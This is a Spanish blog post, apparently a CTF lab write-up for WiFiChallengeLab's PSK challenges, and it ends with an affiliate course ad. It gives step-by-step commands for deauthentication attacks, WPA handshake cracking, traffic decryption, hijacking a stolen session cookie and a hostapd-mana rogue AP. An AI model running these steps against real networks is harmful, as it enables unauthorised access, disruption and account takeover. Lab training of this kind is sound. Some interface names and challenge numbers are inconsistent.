3,2,1 … Empezamos!
Nueva entrada en el blog en la cual vamos a resolver el apartado del CTF WiFiChallengeLab creado por Raúl Calvo Laorden, que corresponde a «PSK». Una red PSK o WPA-PSK (Pre-Shared Key) es una red en la cual se establece una contraseña en un router inalámbrico o un punto de acceso y esta debe ser introducida por los usuarios cuando se conectan.
Se recomienda leer estos artículos antes de continuar con la lectura:
- Wi-Fi desde 0
- Wi-Fi desde 0 – Configuración del entorno
- Wi-Fi desde 0 – Recon
- Wi-Fi desde 0 – OPN
- Wi-Fi desde 0 – WEP

En cada challenge tenéis la descripción y pistas para resolverlo en caso de ser necesario.
08. ¿Cuál es la contraseña del AP wifi-mobile?
(08. What is the wifi-mobile AP password?)
En este reto tenemos que obtener la contraseña del AP wifi-mobile. Para ello, vamos a interceptar el tráfico del AP, analizar qué dispositivos están conectados y realizar un ataque de de-autenticación para obtener el handshake. Una vez obtenido, lo crackearemos para obtener la contraseña de AP wifi-mobile.
En primer lugar, cómo en anteriores retos, detendremos el servicio de NetworkManager y ejecutamos el comando airmon-ng check kill
sudo service NetworkManager stop
sudo airmon-ng check kill
Iniciamos el modo monitor en la tarjeta wlan0:
sudo airmon-ng start wlan0Iniciamos el airodump-ng para saber en qué canal está emitiendo el AP wifi-mobile.

Realizamos la captura del tráfico del AP wifi-mobile en el canal 6 y la guardamos en un fichero llamado captura07.
sudo airodump-ng wlan0mon --band abg --essid wifi-mobile -c 6 -w capturas/captura07Mientras van apareciendo los dispositivos conectados a la red, configuramos otra antena para hacer el ataque de de-autenticación. Cómo se explicó en un post anterior Wi-Fi desde 0, una Deauthentication Request es una trama de gestión enviada por un dispositivo inalámbrico o un punto de acceso para terminar una conexión existente.
Se puede realizar un ataque de de-autenticación porque el AP no está configurado correctamente. Si se analiza la configuración, podemos ver que el MFP está deshabilitado, con valor a “False”. IEEE 802.11 Wireless Management –> Tagged parameters –> Tag: RSN Information –> RSN Capabilities

En el caso de que esté a “True” no se podría realizar una de-autenticación. De esta forma, al estar nosotros interceptando el tráfico, vamos a poder ver cómo esos dispositivos conectados al AP tratan de conectarse de nuevo al AP a través del protocolo Four-way handshake, concepto explicado también en el post anteriormente citado.
Iniciamos la antena wlan1 y la configuramos para que intercepte el tráfico en el canal 6.

Procedemos a realizar el ataque con el siguiente comando:
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:12 wlan1monA continuación, vamos a explicar que es cada parámetro:
aireplay-ng: programa que pertenece a la suite de aircrack-ng que sirve generar tráfico para su posterior uso en aircrack-ng para crackear las claves WEP y WPA-PSK. Existen diferentes ataques que pueden causar desautenticaciones con el propósito de capturar datos de handshake WPA, falsas autenticaciones, entre otras funcionalidades.-0 0: Estos parámetros le indican a aireplay-ng que realice un ataque de des-autenticación. El primer 0 es el código para un ataque de des-autenticación, y el segundo 0 significa que el ataque se repetirá indefinidamente.-a F0:9F:C2:71:22:12: Este parámetro especifica la dirección MAC del punto de acceso (AP) al que se dirige el ataque.wlan1mon: Este es el nombre de tu interfaz de red inalámbrica, que debe estar en modo monitor para poder realizar este tipo de ataques.

Cómo podemos observar, se ha capturado el handskake, con lo que procedemos a crackearlo para obtener la contraseña.
Nota: existe también otra forma de realizar la de-autenticación y es indicando el cliente sobre el cual se quiere realizar el ataque, en vez de realizar el ataque contra el AP completo, afectando a todos los clientes conectado. El comando sería el siguiente:
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:12 -c 28:6C:07:6F:F9:44 wlan1monLa diferencia es que se le añade el parámetro -c y la MAC del cliente sobre el cual queremos tirar el ataque.
Para ello, vamos a usar otra herramienta de la suite de aircrack-ng:
sudo aircrack-ng capturas/captura07-01.cap -w /root/rockyou-top100000.txtA continuación, vamos a explicar que es cada parámetro:
aircrack-ng: Programa para descifrar claves 802.11 WEP y WPA/WPA2-PSK.capturas/captura07-01.cap: Nombre del fichero a crackear que contiene el tráfico de red inalámbrica interceptado.-w nombre_fichero: Diccionario con contraseñas que se van a emplear para crackear el handshake capturado.


De esta forma obtenemos la contraseña del AP wifi-mobile.
Una vez introducida la flag en el panel, se desbloquean dos nuevos retos, el 08 y el 10.

09. ¿Cuál es la IP del servidor web en la red wifi-mobile?
(09. What is the IP of the web server in the wifi-mobile network?)
Una vez obtenida la contraseña en el challenge anterior, podemos descifrar el fichero .cap y analizar el tráfico interceptado.
Para descifrar el .cap, vamos a emplear el comando airdecap-ng:
airdecap-ng -e wifi-mobile -p $CONTRASEÑA capturas/captura07-01.capA continuación, vamos a explicar que es cada parámetro:
airdecap-ng: Es una utilidad para descifrar los paquetes de datos inalámbricos capturados.-e wifi-mobile: Nombre del AP de los datos capturados.-p $CONTRASEÑA: Contraseña del AP de los datos capturados.capturas/captura07-01.cap: Fichero de captura que contiene los datos de la red inalámbrica que se han interceptado.

Una vez descifrado el contenido del fichero captura07-01.cap, se genera un fichero captura07-01-dec.cap en el cual está todo el tráfico descrifrado.
Procedemos a abrirlo con el siguiente comando:
wireshark captura07-01-dec.cap
Filtramos por tráfico http y podemos observar la IP del servidor web presente en la red wifi-mobile.
Guardamos la cookie para emplearla en otro challenge posterior.
Una vez introducida la flag en el panel, se desbloquea un nuevo reto, el 09.

10. ¿Cuál es la flag después de iniciar sesión en wifi-mobile?
(10. What is the flag after login in wifi-mobile?)
Para este challenge debemos obtener el tráfico de usuarios conectados a wifi-mobile de forma pasiva (802.11), descifrar y conectarse con cookies ‘robadas’ al router AP de wifi-mobile para obtener el FLAG del usuario. (Cookie obtenida en el challenge anterior)
Una vez obtenida la contraseña del AP, podemos conectarnos a la red wifi-mobile. Para ello, podemos utilizar cualquier de las dos opciones explicadas en el challenge 05 de la entrada Wi-Fi desde 0 – OPN.
En esta ocasión, vamos a emplear la primera forma, empleando la herramienta wpa_supplicant.
A continuación, se muestra un ejemplo de fichero de configuración que se puede emplear:
pico wifi-mobile.conf cat wifi-mobile.conf
network={
ssid="wifi-mobile"
psk="$PASSWORD"
scan_ssid=1
key_mgmt=WPA-PSK
proto=WPA2
}
A continuación, vamos a explicar que es cada parámetro:
ssid: Nombre del ESSID (AP) al que queremos conectarnos.psk: Contraseña del ESSID (AP) al que queremos conectarnos.scan_ssid: Se va a realizar un escaneo específico para el SSID, lo que puede ser útil para redes ocultas.key_mgmt: El tipo de autenticación que se va a emplear.proto: Se especifica el protocolo que se va a utilizar para la autenticación.
Una vez configurado el fichero, procedemos a ejecutar wpa_supplicant. Vamos a emplear una antena que no esté en modo monitor, por ejemplo, wlan2.
sudo wpa_supplicant -D nl80211 -i wlan2 -c wifi-mobile.conf
sudo dhclient wlan3 -r
sudo dhclient wlan3 -v
Una vez conectados, accedemos a la IP del servidor web que hemos encontrado en el anterior challenge.

Una vez en el navegador, abrimos el “Inspector” y modificamos la cookie que obtuvimos en el anterior challenge.


De esta forma, podemos acceder sin la necesidad de credenciales.

11. ¿Existe aislamiento de clientes en la red wifi-mobile?
(11. Is there client isolation in the wifi-mobile network?)
Para este challenge vamos a tener que comprobar si existe un aislamiento entre cliente de la red wifi-mobile.
Para ello, como ya estamos conectado a la red del challenge anterior, vamos a comprobar si podemos acceder a recursos de otros usuarios.
Empleamos el siguiente comando:
sudo arp-scan -I wlan2 -lA continuación, vamos a explicar que es cada parámetro:
arp-scan: Herramienta que realiza un escaneo ARP (Address Resolution Protocol) para encontrar todos los dispositivos en la red local.-I wlan2: Interfaz a usar en el escaneo.-l: Este parámetro especifica que el escaneo se debe realizar en la red local.

Con el siguiente comando enviamos una solicitud HTTP a la IP 192.168.2.7 y el servidor nos devuelve el contenido almacenado: curl 192.168.2.7

Como se observa en la imagen, todos los dispositivos analizados devuelven la misma flag, con lo que podemos afirmar que no existe un aislamiento entre clientes de la red wifi-mobile.
12. ¿Cuál es la contraseña de wifi-offices?
(12. What is the wifi-offices password?)
En el reto 04 descubrimos que la red wifi-offices es una red oculta por lo que puede ser que la red esté en otra localización o ya no esté disponible pero aún así, podemos obtener su contraseña creando un rogue AP con el mismo nombre, con la finalidad de obtener el handshake de los clientes que anteriormente se han conectado a esta red y, posteriormente, obtener la contraseña en texto plano.
Para crear el rogue AP vamos a emplear la herramienta hostapd-mana. Hostapd-mana es una herramienta que se emplea para crear un rogue AP, una versión modificada de hostapd la cual puede guardar los handshakes en formato hccapx de hashcat para crackearlos con dicha herramienta.
En primer lugar, creamos el fichero de configuración que vamos a emplear.
pico wifi-offices.conf cat wifi-offices.conf
interface=wlan1
driver=nl80211
hw_mode=g
channel=1
ssid=wifi-offices
mana_wpaout=wifi-offices.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678

A continuación, vamos a explicar que es cada parámetro:
interface: Interfaz de red.driver: Controlador de red.hw_mode: Modo de hardware a 802.11g, que permite velocidades de hasta 54 Mbps.channel: Canal Wi-Fi en el que va a emitir el punto de acceso.ssid: Nombre del AP.mana_wpaout: Fichero donde se van a guardar los handshakes capturados.wpa: Protocolo de seguridad.wpa_key_mgmt: Tipo de autenticación.wpa_pairwise: Tipo de cifrado.wpa_passphrase: Contraseña del AP.
Iniciamos el Rogue AP:
sudo hostapd-mana wifi-offices.confCuando parece la siguiente frase: “AP-STA-POSSIBLE-PSK-MISMATCH”, quiere decir que hay una posible discrepancia en la clave precompartida (PSK) entre el punto de acceso y un cliente. Esto puede suceder si el dispositivo cliente está intentando conectarse al punto de acceso con una contraseña incorrecta. Este mensaje se genera cuando el Rogue AP recibe un mensaje de des-asociación o des-autenticación de un cliente. De esta forma, se ha obtenido el handshake, el cual, tenemos que crackear para obtener la contraseña en texto plano.
Para ello, vamos a emplear el siguiente comando:
sudo hashcat -a 0 -m 2500 wifi-offices.hccapx /root/rockyou-top100000.txt --force

Hasta aquí los 5 retos del apartado PSK.

¡Nos vemos en el próximo! 😊
| 🚀 ¿Quieres especializarte en auditorías WiFi? Si este artículo te ha resultado útil y quieres dar el siguiente paso, el CWP es uno de los cursos que recomiendo para aprender auditorías WiFi de forma práctica y estructurada. ✅ Laboratorios prácticos ✅ Metodología profesional ✅ Certificación incluida ✅ Ideal para pentesters y auditores Versión Español Versión Inglés Enlace de afiliado, al comprar desde este enlace apoyas el contenido de Cyber0asis sin coste adicional para ti 🤗 |






